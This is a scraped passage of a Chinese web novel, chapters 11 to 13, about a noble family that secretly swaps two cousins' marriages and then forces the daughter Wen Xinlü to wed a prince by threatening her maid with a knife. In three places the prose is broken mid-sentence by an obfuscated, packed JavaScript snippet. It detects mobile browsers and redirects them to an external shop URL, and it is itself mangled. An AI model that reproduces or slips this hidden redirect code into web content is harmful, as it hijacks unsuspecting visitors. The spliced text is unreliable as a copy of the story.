她如实交代:“今日路过澄心堂,亲口听诗予表姐同身边丫鬟说的,我听着也不像是胡说,可若是真的,那表姐与平渭郡王的婚事又该如何,一女怎能配二男呢?” 文安侯一拍大腿,他本以为只是哪里来的谣言,可没想到此事竟还有几分真,可叶诗予怎能与沈斫年成婚呢,即便没有平渭郡王,叶诗予要嫁一个国公侯爵之子也不是难事,这桩姐妹换亲若是传出去,旁人肯定觉得是侯府以强欺弱、抢夺亲事,这个沈岚,怎么做的事! 他顿起怒意,看到一旁的闻若涵才收敛了些,只沉声道:“叶诗予与平渭郡王的婚事早已解除,如今平渭郡王与新绿定了亲,是你未来的亲姐夫。” “什么!”听到这个消息,闻若涵差点没失去一个贵女该有的风度,她忍不住问,“凭什么,凭什么闻新绿能嫁给平渭郡王?” 当初明明是她先对斫年表哥动的心,可闻新绿却来横插一脚,这就罢了,毕竟斫年表哥论身份还是低了一等,她又不是配不起世子,她都想好了,等她未来夫君继承伯府或侯府,闻新绿还不是得被她压一头。 可谁能想到计划不如变化,闻新绿竟要嫁给平渭郡王?! 那可是郡王啊! 虽说她也常以侯府二小姐的身份得意,却也听父母亲私下叹过,自从祖父去后父亲不得重用,门户已经越发败落,在二十多户侯门中并不起眼,甚至还不如长兴伯门庭若市。 闻若涵还有些自知之明,父亲势单力薄,嫡母不慈,亲娘困在后院,自己若是想要做郡王妃,无异于痴人说梦,顶天了做个郡王侧妃,而她吃了这么多年庶女之苦,是绝不允许自己做妾的,也就是说若是闻新绿真的成了郡王妃,自己这辈子都翻不了身了。 她顿时不忿起来:“既然闻新绿都可以,那为什么我不可以呢?爹就不能让我嫁去郡王府吗,我可比闻新绿聪明多了。”同理,她也觉得闻新绿并不配郡王妃之位,无论是样貌还是气度,长眼睛的人都能看出来她比闻新绿更胜一筹。 “什么闻新绿,那是你姐姐,”文安侯训斥道,他揉了揉太阳穴,“你姐姐合了八字,人家和郡王天作之合,你就别瞎想了,爹日后会给你找个好归宿,但是郡王不行。行了行了,我还有事,你也早些回去吧,这都和你没关系,不许到处去乱说,听没听到?” 文安侯一开始也不是没动过念头,他这个二女儿知书达理、聪慧伶俐,确实比大女儿好许多。可是后来冷静下来仔细想想,二女儿为人天真,性情又有些骄纵,嫁过去若是遇到什么事,自己又撑不了腰,那这日子可就苦了,还不如留在自己身边,找个能看顾的夫家。 文安侯心里有事,急急离去了,闻若涵在后面气得眼眶通红:“什么叫别瞎想了,什么叫郡王不行,爹真偏心,明明我也是他女儿……” 气过后她不解:“难不成从谁肚子里出来真的有这么重要吗,我与闻新绿差的不过是一个母亲罢了,为什么我不行,为什么呢?” 她知晓,此事若是爹不同意,即便她再如何不甘也不可能与平渭郡王有干系了,可她就是不忿,就是不愿接受。 既然她不行,那闻新绿也不能行。 - 澄心堂内传来剧烈的争吵声,约莫两刻钟后,丫鬟们见到了侯爷怒气冲冲离去的背影。 沈岚正在屋内掩面痛哭,文安侯上来就将她一通训斥,丝毫不给她解释的机会,可他又怎知后院的弯弯绕绕。 诗予忽然不想嫁高门了,她难道强逼着外甥女嫁吗,再说斫年也是他认过的女婿,都说上嫁好,可上嫁的苦又有谁知道,再怎么样妹夫也不敢带什么乱七八糟的女人回来气妹妹,而她呢,后院那些个莺莺燕燕闹得还不够多吗,更别说外头那些个女人了。 她想来想去,只觉得自己什么错没有,明明是双喜临门的好事,怎么到他嘴里偏成了败坏侯府名声呢? 她已有许久没被文安侯如此训斥了,哭过后,她咬牙道:“去给我查,侯爷是怎么知晓诗予婚事的,今日都见过谁?” 若不是有人挑拨,侯爷怎会如此不给她面子,一定是有小人在捣鬼! 果然,没过多久就有人来报,方才侯爷是见过二小姐才来的。 沈岚嘴角抽搐,狠狠道:“果然是这对贱人,她们就见不得我好,一日不教训皮子又痒了,江嬷嬷,你奉我的令叫她们去祠堂前跪着,为祖宗好好祈福,没有我的命令不准起来。” “是。” - 叶诗予挑了个春暖花开的好日子拜访长兴伯府,王瑗自然是万般欢迎,特意设了小宴喜迎未来儿媳。 叶诗予只几句就将王瑗哄得喜笑颜开,她收敛了从前的眼高于顶,含羞问道:“不知斫年表哥今日可在?” 王瑗露出打趣的神色:“在,自然是在的,我这就叫他过来。” 盈满墨香的书房,母亲身边的嬷嬷喜气洋洋过来说有娇客至,沈斫年心动了动,在书童的提议下换了身新裁的斓衫,更添几分儒雅书生气,却不想见到的是另一位表妹。 身材颀长的男子迎面走来,叶诗予有一瞬的失神,从前怎么就不知沈斫年竟生得如此俊秀呢。 她声音刻意放甜:“表哥近来可好?” 沈斫年却停下脚步,不动神色地打量着眼前小宴:“甚好,叶表妹今日是同新绿表妹一道来的吗?” “新绿表妹在府中等待出嫁呢。”叶诗予的笑冷了冷,她装作不经意般,看向沈斫年腰间那香囊,“那是新绿表妹为你绣的吗?真好看。” 说起这个,沈斫年脸上带了笑意与温柔:“是,这是新绿表妹为我绣的,共有四枚,分别绣了梅兰竹菊四种花纹,新绿还说……” “新绿表妹手可真巧,”叶诗予打断他说话,心情更糟了,勉强维持着笑意道,“我今日来是有事拜托表哥,眼看婚期将近,我却连平渭郡王的面都没见过,也不知道他喜欢什么,我倒是好奇表妹给表哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164437|196638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的定情信物是什么,我拿来参详参详。” 沈斫年有些犹豫,定情信物很是重要,他有些不愿意拿出来,平日里连他都只瞧上几眼,不敢多抚弄。 “表哥就这般小气吗,”叶诗予挑眉,“还是说,拿不出手?” 沈斫年当即有些不悦,这是新绿准备了许久的心意,怎能如此贬低,叶诗予像是没有察觉般,只笑盈盈道:“我不过是开个玩笑罢了,难不成真被我说中了,所以表哥才不叫别人看?也是,表妹平日里有个什么好东西都藏着掖着不叫人看,想必也不舍得……” “叶表妹莫要胡言乱语,”沈斫年倒尽胃口,不虞道,“并非你说的那样,我这就叫人去拿。” 见他不开心,叶诗予心情倒是舒畅了,前几日因那封信起的怒火还未和他算账呢,虽说方才舅母已解释了是因为还未说明换亲之事,但她遭受的难堪是真实的,如今不过是以彼之道还施彼身罢了。 她今日只要达到目的即可,至于沈斫年,日后有的是时间调教。 信物很快就取来了,沈斫年亲自打开给她看,叶诗予扯了扯嘴角:“原来是一对玉戒啊。” 谁不知道戒指用料少,是最上不得台面的东西。 她给一旁的丫鬟使了个眼色,接着伸手就想去取戒指,谁料沈斫年拦住了她:“叶表妹,只可远观。” “……”不过就是个破戒指,不知道的人还以为是什么稀世宝贝呢。 叶诗予冷哼一声,故意凑近瞧了瞧,不光用料一般,连戒指上的花纹都十分粗糙,大一些的是竹纹,小一些的是莲纹。 沈斫年眉眼温柔看着那对玉戒:“这是新绿表妹亲手做的,竹纹寓意步步高升,莲纹则是冰清玉洁,新绿表妹是我见过手最巧之人……” 叶诗予只觉得自己额头上的青筋挑了挑,故意看了许久,待沈斫年手累了才慢条斯理道:“多谢表哥今日慷慨。” 她看着沈斫年万般珍惜将戒指收好,勾唇冷笑了一声。 情深好啊,情越深,伤得就越痛,沈斫年,你如今对着两个破戒指深情有何用,我就要用你这份深情叫你的新绿表妹狠狠心碎。 叶诗予头也不回地离去,沈斫年皱眉看着她们背影,喃喃道:“越发奇怪了。” 另一边的亭子里,王瑗看着两人说说笑笑,偶尔亲密互动,拍手笑道:“看来是我多虑了,看他俩相处得多好,看来这门亲事已万无一失。” 身旁的嬷嬷道:“既然如此,是否要将换了新娘之事告诉二少爷?” 王瑗笑容一滞,有些犹疑反问:“你觉得呢?” 嬷嬷自然不敢妄言:“全听夫人的。” 王瑗迟疑了许久,最终想了个主意:“先不要直白地说,先叫人旁敲侧击一下,若是斫年不排斥,就如实说,若是斫年不同意,那就等成婚吧,成了婚他即便想反悔也不成了。” 有丫鬟忍不住问:“夫人,若是成了婚少爷都不愿意呢?毕竟少爷好像很喜欢新绿小姐。” 王瑗却瞪她:“怎么可能,我的儿子我难不成不了解吗,说喜欢,还不如说责任更确切,他对新绿有心,可这不一定是喜欢啊,他是圣贤书读太多了,脑子读坏了,一心想着守诺,但不是所有诺都必要要受的,我是他的母亲,难不成还能害他不成?” 丫鬟被骂得头都不敢抬,她不敢说,她是真心觉得新绿小姐与二少爷很相配,两人相处时的那股温情,即便是夫人和伯爷之间都没有的。 12. 第十二章 朱雀大街末的一处二进宅院里,沈岑正为女儿未来的嫁妆忙碌。 二十年前,她出嫁时候陪嫁了一千两银子,另有田地宅院门铺约合一千二百两价值,如今银子虽剩的不多了,但田地铺子在这二十年间涨了不少,至少值二千两。 她从中抽出约莫一千五百两的银子和铺子,再加上叶彦捎来的八百两银子,和姐姐给的一千两银子,如此来女儿便有三千多两陪嫁,按理说尽够了,只是女儿未来的夫家定不是普通人家,娶的定是高门大户之女,三千多两倒显得有些寒酸,她不能叫女儿被妯娌比下去。 不过比起闻新绿那丫头还是绰绰有余,沈岑问过,闻新绿身边只有侯府公中准备的两千两,姐姐明说了自己的东西只留给伯明和诗予,闻新绿一点都得不到。 沈岑很得意,她生了一个如此钟灵毓秀的女儿,姐姐嫁得再好又如何,侯门嫡女还不是不如诗予。 看着被嫁妆填满大半的库房,沈岑开始思索,要不要再去趟长兴伯府,又或者文安侯府,三千多两还是有些少,还得去探探姐姐口风,诗予的婚事还得靠她帮扶。 笃笃两声,门外进来个婆子,卑躬屈膝道:“夫人,方才外头忽然来了一个小丫头,非要我将这信交给您,说是十万火急的事。” 还有什么事能称之为十万火急,莫不是什么江湖游僧骗人的把戏? 沈岑挥挥手表示不想看,可待婆子转身后却又鬼使神差般叫住了她:“拿过来我瞧瞧吧。” 她拆开信封,上面只写了短短一句话,可就是这短短一句,让她脸色大变险些从椅上跌下来,她面色煞白,骂道:“这是哪个煞才,竟编造如此虚假的谎言,简直是无稽之谈,这怎么可能呢?” 说罢,她连衣裳都来不及换,便一阵风般冲出房门,急叫道:“老莫,快把车拉来,送我去文安侯府,快!” - 文安侯府,沈岚正在看账本,却见妹妹急匆匆进门,她诧异道:“怎么这个时候来了,可是有什么事?” 却见沈岑将一张纸甩在她桌上,压抑着怒意道:“有人说你换了诗予的亲事,要把闻新绿嫁给平渭郡王,这是不是真的?” 沈岚一懵,说是也不是,不是也不是,她张了张嘴,解释:“你听我说……” “竟是真的?!”沈岑有如五雷轰顶,她如同失去幼崽的母兽,红着眼撕扯沈岚,“你怎么能这样,不是你说的把诗予当做亲女儿,不是你说的自己忙前忙后都是为了诗予吗,怎么平渭郡王要成为你的女婿了?你怎么能这么做,你把诗予当做什么了,你简直丧了良心,我怎么有你这么可怕的姐姐,我和诗予都被你骗了!” “不、不是这样的,来人呐!”沈岚被扯得七倒八歪,还挨了两个嘴巴子,待下人好不容易把沈岑拉开,她气得浑身发抖,“沈岑,我在你眼里就是这样的人吗,你瞎了不成,这么多年我对你、对诗予的付出都看不见吗?” 沈岑怨恨地盯着这个姐姐,呸道:“什么付出,我算是看透你了,这么多年你打的就是这个算盘,在我们信任你的时候反手往我们心口捅刀,不费吹灰之力就将好东西全抢去了,你这个贱人,我这么好的诗予,你竟然要她嫁给沈斫年,你这是要毁了她,你这个毒妇!” “你……”沈岑字字诛心,沈岚指着这个妹妹,一口气没喘上来,只觉得心口剧痛。 秀珠察觉到不对,连忙扶住夫人下滑的身体:“来人啊,快去请大夫。” “娘!”叶诗予没想到来澄心堂见到的竟是此幕,连忙扑上去捂母亲的嘴,一边泣道,“娘,您不要怪姨母,这都是我自愿的,您不许这般说姨母。”一边将母亲拉了出去。 挣扎着到了门外,风一吹她才发觉自己一身冷汗,本来只是存了私心不想告诉母亲,因她知晓母亲绝不会同意这桩婚事,没想到竟闹到如此地步。 沈岑甩开叶诗予的手,痛心疾首:“你你你,这时候你竟然还在替她说话,你究竟是她的女儿还是我的女儿?” “娘,”叶诗予冷静下来,“我自然是您的女儿,只是此事没这么简单。” 沈岑几乎扯破喉咙,指着内室:“她都要把你嫁给沈斫年了,这事还不简单嘛,诗予,你不要被她三言两语骗去了,就如同从前的我一样!” 说着沈岑便掉下了泪,当年她固然痴心不改,但又何尝没有姐姐的推波助澜,若不是姐姐万般鼓吹才子佳人,她又怎会猪油蒙了心被欺骗去,若没有姐姐,文安侯夫人就是她,她的女儿就是响当当的侯府嫡女! 叶诗予复杂地看着母亲,她自然知道母亲这些年过得有多苦,父亲在京城爬得艰难,十几年了还是个六品主事,母亲为此再不敢与从前好友联系,为了打点官途日子过得扣扣搜搜,甚至还要忍受父亲多年外放的空虚。 可是沈斫年不一样啊,沈斫年他是未来的一品太傅,他注定会成功。 可这话叶诗予没办法说,她只能道:“娘,二表哥绝非你表面看到的这般简单,他未来定会大有出息,比那些国公侯府之子更为荣耀!” 沈岑冷冷道:“我当年也是这么认为的。” “那不一样!”叶诗予笃定道,“他未来会得皇上看中,坐上一品太傅之位,我会封一品诰命的,娘,您就信我这一次,我的眼光如何您是知道的,我绝不容许自己失败。” “你叫我怎么信你?”沈岑泪流满面,“这不死不活的日子我过了二十年,整整二十年,我活在她们的阴影下,每日都在煎熬,每日都痛不欲生,就好像有人扒了我的皮,活生生被晒在烈日下啊,诗予。” 她深吸一口气:“如果你非要嫁,就别认我这个娘。” 叶诗予却道:“母亲,你拦不住我,等三年后你就知道了,什么是对什么是错。” 她转身离去,母亲在身后哭,叶诗予心如刀割,但她知道自己不能回头,她安慰自己不过是权宜之计,待母亲知道她的选择是对的后自然就能理解她了,目前首要之事自然还是安抚好姨母,毕竟她还有用。 叶诗予进了内室,霎时就换了一副面孔,跪在沈岚面前垂泪自责道:“都是诗予不好,是诗予连累姨母了,没想到娘竟会如此反对我与斫年表哥之事,她再怎么样也不该来怪罪姨母呀,明明都是诗予的错。” 这么一说,沈岚也不好怪罪侄女了,或许是因为气急,她说话有些卡顿:“她、她人呢?” 叶诗予用帕子按了按眼角:“我说这都是我自己的注意,娘就生了我的气,说再也不要认我这个女儿了,姨母,我怕……” 说罢,她趴在床边泣声不停,沈岚顿时心软了,她伸出手拍拍她的背:“好、好诗予,不、不怕,还有姨、姨母……” 叶诗予仰头看她,眼中满是孺慕,喃喃着:“姨母,我没有母亲了,要是你是我的母亲该有多好。” 沈岚彻底被打动,她搂着外甥女的肩膀暗暗想,诗予为了维护她甚至不惜与亲生母亲决裂,这份心意实在难得可贵,如今她就只剩下自己这个姨母了,若是自己不管她,那还有谁会管她,她定要好好补偿诗予才是。 - 噼里啪啦,文安侯府门前热闹起来,撒糖的撒糖,舞狮的舞狮,引得无数路人围观。 有人问:“稀奇了,今天是什么好日子,文安侯府这是闹什么呢?” 一旁的路人道:“这您都不知道,文安侯府家的小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164438|196638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与平渭郡王定了亲,此事可都传遍京城了,今日是平渭郡王送聘礼来了,您瞧——” 说着他指过去,只见不远处排了长龙,数不清的健壮男子扛着一箱接着一箱的家具、绸缎、首饰、器物,如流水般送入文安侯府。 那人嘶了一声:“这聘礼得值多少钱呢,光是一匹锻子就好几十两吧,哎,可我之前怎么听说,平渭郡王要娶的是一个五品小官之女啊?” 路人啧道:“那都什么时候的老黄历了,早换人了……” 文安侯与沈岚站在正堂,看着贵重的聘礼源源不断送进来,嘴都要笑咧了。 沈岚想,嫁郡王与嫁伯府还是不一样,瞧瞧人家的聘礼,得是伯府的好几倍吧,即便她是侯府夫人,也没见过几次这般隆重的聘礼。 文安侯捋着胡须,觉得今日真是太有面了,没想到有朝一日他竟然还能成为郡王的岳父,快哉快哉。 两人想着想着,不约而同动起了歪心思。 侯府多了这么多好东西,那诗予/若涵的嫁妆岂不是有着落了。 热闹的正堂外,闻若涵看着乌泱泱的聘礼,件件都是好东西,忮忌得眼睛都要绿了,那股子委屈又涌了上来,为什么嫁给郡王的不是她! 她明明给叶诗予的母亲递了信,按照她对沈岑的了解,早该大闹文安侯府,把两桩婚姻都闹掉了,怎么会一点声响都没有呢? 难不成真的就没办法了,只能眼睁睁看着闻新绿嫁给平渭郡王吗? 一想到自己要对闻新绿行礼,闻若涵心里就犹如被千万只蚂蚁啃食,她失魂落魄来到栖云阁外,却见闻新绿正满脸幸福试着火红嫁衣,似在嘲笑她的不自量力时,那股子怒火瞬间将她理智都燃烧殆尽,想也不想就推开栖云阁的门。 “二小姐,您不能进去,大小姐正在休息呢。”看门的婆子要拦,却被闻若涵一把推开,闯进了栖云阁。 她双眼通红,一进门就劈头盖脸对闻新绿道:“你很得意吧,马上要嫁给平渭郡王,觉得自己就要成为高高在上的郡王妃了是不是,可我告诉你,你做梦,平渭郡王暴虐嗜杀、刚愎自用,根本就是个不折不扣的冷血煞星,你嫁过去就等死吧,你不会幸福的!” 然而这义愤填膺满腔怨念的话,只换来闻新绿的不解:“二妹妹,你在说什么?”什么平渭郡王,和她有什么关系,那不是表姐的未婚夫吗? 闻若涵气到脑袋发晕:“都这个时候了,你还在这装,有什么可装的,这府里谁不知道你和叶诗予换了亲事,再过几天你就要嫁去郡王府了,平渭郡王的聘礼都送过来了,你还要狡辩什么!” 闻新绿疑心她是不是失心疯了:“你在胡说八道什么,我怎么会要嫁给平渭郡王呢,我明明是和斫年表哥定的亲。” 她向别人投去求助的视线,却见守门的黄妈妈神情异于常人的紧张,犹如晴天霹雳般,她的脑袋轰隆一声,那些不对劲的细微之处一一浮现出来—— 为何婚期如此之近,为什么怎么都联系不上表哥,为什么不让她出门,一切事实好像即将浮出水面。 闻新绿头脑发晕,下意识就往门外冲,在这梦境般的荒谬中,她第一反应就是去寻母亲,黄妈妈却死死拦住她,满脸为难:“大小姐,夫人不让你出门呀。” “黄妈妈,这都是假,这都是假的对不对?”闻新绿紧紧抓住黄妈妈的袖子看向她,黄妈妈却不敢与她相视:“这、这我实在是不知晓啊。” 一旁的闻若涵终于意识到了不对劲,闻新绿竟真的不知道婚事已换。 她脸色瞬间煞白,完了完了,自己恐怕坏了沈岚的计划,完了完了。她顾不得什么郡王不郡王,慌不择路往外跑 13. 第十三章 “大小姐,您不能进去……”门外传来吵吵嚷嚷的声音,在屋内正笑着的沈岚笑容一敛,江嬷嬷连忙冲外头喝道:“吵什么呢?” 只听“哎呦”几声,有人硬是从一众人墙中撕开个口子冲出来,沈岚见了来人诧异:“新绿,不是叫你好好待在栖云阁待嫁吗,你来这作什么?” 丫鬟们连忙请罪:“夫人,我们实在拦不住小姐。” 沈岚摆摆手示意她们退下,再看女儿身后跟着的黄妈妈,心里有了几分数,她皱眉道:“先坐下吧,这般莽撞成何体统。” “母亲,”闻新绿哀求着唤道,寻求一个答案,“为什么她们都说我要嫁给平渭郡王,我的未婚夫明明是斫年表哥,她们都在胡说对不对?” “既然知晓何必再问,”沈岚淡淡道,“她们说的没错,十日后你将与平渭郡王成亲,成为名正言顺郡王妃,府里给你的嫁妆加到了三千两,倒是我考虑不周,该是时候把东西交到你手上,来人……” 闻新绿不可置信看向母亲,不敢相信她竟然如此平淡说出此事,她觉得整个世界都荒谬了起来:“不,我不嫁,怎会有如此荒唐的婚事,我作为新娘却不知道新郎是谁,何其可笑,这根本就不合礼法。” 沈岚怒道:“容不得你不接受,儿女婚事从来都是父母之命媒妁之言,盲婚哑嫁有何稀奇,这么好的夫家你却不要,真是昏了头了。” “好夫家?”闻新绿感到十分悲哀,“你如果真为我好,那应当知道我与表哥两情相悦,早已定了终身,怎会忍心毁我婚事,你为我好,就该把祖母的嫁妆还给我,而不是把我嫁给一个连面都没见过的男人!” 沈岚脸色难看:“不知感恩,你生来就是侯府嫡女,吃穿不愁,如今又有了这么好的婚事,你到底在不满什么,那可是郡王,若不是诗予愿意让出这门婚事,你以为你进得了郡王府的门吗?” 闻新绿心揪成了一团,她颤抖着问:“让?我何时要她让了,她自己选的人定的亲,到底与我何干?她说不想嫁你就同意她不嫁了,那我呢,我为什么要承受这一切,她想要嫁高门,你一心为她打算,替她定下郡王府的亲事,那我呢!斫年表哥他怜惜我,要娶我,我以为我好不容易要有个家了,我只想要一个对我好的人,我不要什么高门,我不要什么郡王,我只要一个家!” 沈岚霍然看去,然而她看不到痛苦,看不到绝望,只看到那抹反抗:“这侯府难道不是你的家吗,闻新绿,你没有诗予那般聪慧,美貌,我不怪你,可你身为我的女儿,却连什么是好的坏的都不知道,你简直愚蠢至极,男人对你的好有什么用,你的斫年表哥能给你金银珠宝吗,能给你无上荣耀吗,若你能再清醒一些,这么多年我何至于担心门庭败落,若你能争口气,我就不会到这把岁数了还要在外曲意逢迎,若我有你这么好的身份,我会过得比你好一千倍,一万倍!” 这番话如利刃将闻新绿心撕成千片万千,她一字一句道:“这不是我的家,家人会爱我会疼我,可你呢,你根本就不爱我,你爱大哥、你爱表姐、你爱你的家人,我在你眼里,只是一个累赘的、讨厌的,随时可以舍去的东西!” 说出这番话后,看着母亲无动于衷的神情,闻新绿终于死心了,是,她不好看,不聪明,不识相,上不得台面,所以她也曾想尽办法改变自己,只为挣得那么零星的爱意,可换来的是什么呢?换来的是一次又一次变本加厉的欺负。 她自欺欺人了这么久,妥协了这么久,终于,她再也无法欺骗自己了。 “如果非要我嫁,那就将我的尸体送去郡王府吧。”说着她拔下发间的簪子,尖锐的尾端抵在细嫩的脖颈,陷出深深的红痕。 “小姐!”伴夏泪眼婆娑看着她,摇头,“不要……” “逆女,你这个逆女!”沈岚气得浑身发抖,她叫着,“你以为不嫁给平渭郡王就能和沈斫年相守吗,我告诉你,伯府早就认定了诗予做儿媳,即便给你退了郡王府的亲事,不过是一场空而已。” 闻新绿的手颤了颤:“我不信,表哥不是那种人。” “夫人,”伴夏急得跪下磕头,“奴婢求求您,不要把小姐嫁到郡王府去,人人都传平渭郡王是个嗜血冷酷的怪物,夫人,小姐是您的女儿啊,您怎忍心看她嫁过去受苦呢?” 沈岚却一脚将她踢开:“滚开,别以为我不知道你的心思,整日里就知道撺掇小姐同我们作对,以为掌控了小姐就能掌控我吗,来人,给我把小姐的簪子夺下来,女儿威胁母亲,简直反了天了。” 闻新绿看了一眼伴夏,眼角沁出泪,见丫鬟们围上来,毫不犹豫地就将簪子往脖子里按。 “流血了!”丫鬟们惊叫着,不敢再靠近,黄妈妈在一旁劝道:“小姐,您是千金之躯,万不可这般伤害自己,放下簪子吧,此事还有回旋余地。” 闻新绿却扯出一抹嘲讽似的笑,离大婚之日就十日功夫,哪还有什么回旋余地,她知道,自己已经没有回头路可走。也好,这条命就当还给他们,还给从来没在意过自己的父母。 “侯爷到——”门外的小厮喊道,文安侯进门瞧见这混乱的场面,简直火冒三丈,沈岚却先发制人,告状道:“瞧你生的好女儿,还瞧不上我们给她定的婚事,用性命威胁我们退婚呢。” 文安侯看着被人群围住的大女儿,冲丫鬟婆子们道:“你们都先下去吧。” 又得了侯夫人点头,众人才赶紧逃似的往外跑,这等高门秘辛还是越少人知道越好。 文安侯看着倔强的女儿,头疼似的揉揉太阳穴:“新绿啊,你有什么要求尽管提,不要这般,你看闹得多难堪,你母亲也会担忧的。” 父亲来后,紧张的氛围似乎散去了些,闻新绿几番哽咽:“我只有一个要求,那就是换回婚事,与我定亲的原本就是斫年表哥,母亲却在我毫不知情的情况下与表姐换了亲事,父亲,求求您替我做主,我只想嫁给斫年表哥,我不要嫁给旁人。” 文安侯叹道:“这沈斫年究竟有什么好的,你和叶诗予一个两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164439|196638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个非要嫁,新绿,要父亲说,要做就做郡王妃,沈斫年到如今还是个白身,他不值得你如此。” “非要嫁?”闻新绿敏锐地听到了这三个字,她忽而恍然大悟,“原来是这样,原来都是因为表姐,她看上了表哥,所以非要和我换亲事,是不是?” 沈岚拍桌子:“胡说八道,你诗予表姐是逼不得已才放弃这门婚事,怎么从你嘴里说出来还成了她的错,你不要得了便宜还卖乖!” “呵……”闻新绿却已看透了一切,对沈岚失望透顶,她只看着文安侯,“父亲,或许斫年表哥在你眼里一无是处,可是他待我很好,这么多年,他是待我最好的那个人,比你你母亲都要好太多太多,我早已认定了他,您若是心里还有我这个女儿,就成全我们吧。” 文安侯又叹:“你当真不再考虑一下平渭郡王吗?” 闻新绿摇摇头,哀求着:“我意已决,父亲,女儿这辈子没求过你什么,只求你这一件事,求您……” 文安侯叹息着站起,一切似乎又有了希望,闻新绿眼带希冀地看着他,只见他伸手击掌,一个不停挣扎的身影便从门外押进来,被重重压倒在地上,闻新绿瞳孔剧震:“伴夏!” 文安侯围着女儿走:“新绿你想想清楚,与平渭郡王的婚事有益无害,不是爹不肯成全你,实在是已经到了这个地步,来不及了,你若是不顾父母恩情宁死不屈,那我们也没办法,这个丫头陪了你得有十来年吧,叫她下去陪你,也算是我们做父母的一点心意,新绿,你再好好想想。” 说着,一把锋利的匕首便抵在了伴夏颈边。 “小姐,我死了没关系,但是伴夏求你不要死,不要伤害自己,小姐,你不要听她们的,我宁愿死也不要你嫁给不爱的人!” 匕首陷入伴夏颈边,割出一条细线,渐渐漫出鲜红的血液。 闻新绿的手剧烈颤抖起来,不可置信望向父亲,生平第一次,柔软的内心浮现出浓烈的恨意:“你们、你们简直卑鄙至极,丧心病狂!” 文安侯阻止了下属的动作,看着这个看似柔软,却做出如此惊天骇地举动的女儿,心中无限复杂,若是有办法,他何至于如此逼迫女儿? 文安侯叹息着:“新绿,那是平渭郡王啊,你若是现在悔婚,你叫我们整个侯府怎么办,平渭郡王会放过我们吗?不是我们丧心病狂,只是你不嫁,我们侯府就完了。” 闻新绿泪如雨下,她哭得浑身颤抖:“我算什么,我到底算什么,从小到大,你们可有正视过我一眼,如今却能站在这堂而皇之要我为侯府奉献自己,舍弃自己,你们凭什么,你们凭什么!这么多年,我过得甚至不如你们养的一条狗!” 文安侯沉着脸低头,沈岚侧过脸不看她。 闻新绿好似回到了祖母去时那日,尚不知晓自己失去了什么,就被迫踏上一条不归路,没有回头的机会。 “叮当”一声,簪子落地,闻新绿推开那些人,抱紧了伴夏,沙哑着声音妥协:“好,我嫁。”